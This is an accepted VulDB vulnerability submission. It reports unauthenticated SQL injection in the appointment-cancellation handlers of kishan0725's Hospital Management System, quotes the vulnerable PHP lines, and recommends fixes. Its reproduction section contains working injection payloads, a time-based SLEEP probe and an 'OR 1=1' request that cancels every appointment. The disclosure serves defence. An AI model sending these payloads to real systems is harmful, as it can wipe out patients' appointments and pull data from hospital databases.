Submit #1007402: kishan0725 Hospital-Management-System master branch @ 777fda46b77a820977a5ba616283dbfbc40bf7e1 (last commit 2024-10-07; no official release) SQL Injection (CWE-89)

Hospital Management System (master @ 777fda46b77a820977a5ba616283dbfbc40bf7e1) is vulnerable to unauthenticated SQL injection in its appointment-cancellation handlers.

Root cause

admin-panel.php line 71:

mysqli_query($con, "update appointmenttb set userStatus='0' where ID = '".$_GET['ID']."'");
doctor-panel.php line 8:

mysqli_query($con, "update appointmenttb set doctorStatus='0' where ID = '".$_GET['ID']."'");
The GET parameter ID is concatenated directly into the UPDATE statement with no escaping and no prepared statement. Neither file performs any session or role check before the cancel branch, so both requests are reachable without authentication.

Reproduction

No session or login is required.

Cancel an arbitrary appointment:

GET /admin-panel.php?cancel=1&ID=4

Result: appointmenttb row 4, userStatus changes from 1 to 0.

Same on the doctor side:

GET /doctor-panel.php?cancel=1&ID=8

Result: appointmenttb row 8, doctorStatus changes from 1 to 0.

Proof that the parameter reaches SQL (time-based blind):

GET /admin-panel.php?cancel=1&ID=999' OR (SELECT 858)>(SELECT SLEEP(1))-- -

Result: response time ~12 s versus well under 1 s for ID=999. The injected predicate is evaluated once per row of appointmenttb, so the row count multiplies the delay.

Mass cancellation via a tautological predicate:

GET /admin-panel.php?cancel=1&ID=x' OR 1=1-- -

Result: the WHERE clause becomes always true and every row in appointmenttb is set to cancelled.

All validation was performed in a local, isolated environment (MySQL 8.0.39, PHP 8.4.26, display_errors=0). The temporary environment was destroyed after testing.

Impact

An unauthenticated attacker can cancel any patient's or doctor's appointment. A single request with a tautological predicate cancels every appointment in the table. The same parameter also supports time-based blind SQL injection, allowing extraction of arbitrary database content.

Relation to CVE-2025-63513

CVE-2025-63513 (CWE-639, IDOR) covers a different defect on the same endpoint. The two are independent:

Weakness class: CVE-2025-63513 = CWE-639 IDOR; this report = CWE-89 SQL injection
Privileges required: CVE-2025-63513 = PR:L (must be logged in); this report = PR:N (no credentials)
Integrity impact: CVE-2025-63513 = I:N; this report = I:H
Remediation: CVE-2025-63513 = ownership check; this report = prepared statement
Adding an ownership check does not remove the injection, and converting to a prepared statement does not add the ownership check. They are two separate defects sharing one endpoint.

BELOW GOES INTO THE "SOLUTION" FIELD
Use a prepared statement with a bound integer parameter for ID in admin-panel.php (line 71) and doctor-panel.php (line 8).

Add an explicit session/role check before the cancel branch in both files.

Verify that the appointment being cancelled belongs to the current user.

• Source: ⚠️ https://github.com/kishan0725/Hospital-Management-System/issues/75
• User: baekhyun (UID 101701)
• Submission: 09/30/2026 10:57 (1 month ago)
• Moderation: 10/18/2026 00:06 (18 days later)
• Status: Accepted
• VulDB entry: 421655 [kishan0725 Hospital Management System up to 777fda46b77a820977a5ba616283dbfbc40bf7e1 Appointment Cancellation admin-panel.php mysqli_query ID sql injection]
• Points: 20